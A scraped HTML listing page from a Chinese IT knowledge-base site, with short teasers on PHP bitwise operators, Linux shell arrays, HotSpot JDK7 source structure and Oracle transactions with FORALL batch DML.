<a class="tag" taget="_blank" href="/search/%E4%BD%8D%E8%BF%90%E7%AE%97/1.htm">位运算</a><a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/%26/1.htm">&</a> <div>$a = $b = $c = 0; $a & $b = 1; $b | $c = 1 问a,b,c最终为多少? 当看到这题时，我犯了一个低级错误，误以为位运算符会改变变量的值。所以得出结果是1 1 0 但是位运算符是不会改变变量的值的，例如： $a=1;$b=2; $a&$b; 这样a,b的值不会有任何改变 </div> </li> <li><a href="/article/3448.htm" title="Linux shell数组建立和使用技巧" target="_blank">Linux shell数组建立和使用技巧</a> pda158 <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a> <div>1.数组定义　　[chengmo@centos5 ~]$ a=(1 2 3 4 5) 　　[chengmo@centos5 ~]$ echo $a 　　1 　　一对括号表示是数组，数组元素用“空格”符号分割开。　　 2.数组读取与赋值　　得到长度：　　[chengmo@centos5 ~]$ echo ${#a[@]} 　　5 　　用${#数组名[@或</div> </li> <li><a href="/article/3575.htm" title="hotspot源码(JDK7)" target="_blank">hotspot源码(JDK7)</a> ol_beta <a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/HotSpot/1.htm">HotSpot</a><a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a> <div>源码结构图，方便理解： ├─agent Serviceab</div> </li> <li><a href="/article/3702.htm" title="Oracle基本事务和ForAll执行批量DML练习" target="_blank">Oracle基本事务和ForAll执行批量DML练习</a> vipbooks <a class="tag" taget="_blank" href="/search/oracle/1.htm">oracle</a><a class="tag" taget="_blank" href="/search/sql/1.htm">sql</a> <div>基本事务的使用：从账户一的余额中转100到账户二的余额中去，如果账户二不存在或账户一中的余额不足100则整笔交易回滚 select * from account; -- 创建一张账户表 create table account( -- 账户ID id number(3) not null, -- 账户名称 nam</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> 按字母分类： <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.  </div> </div> </footer>  <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>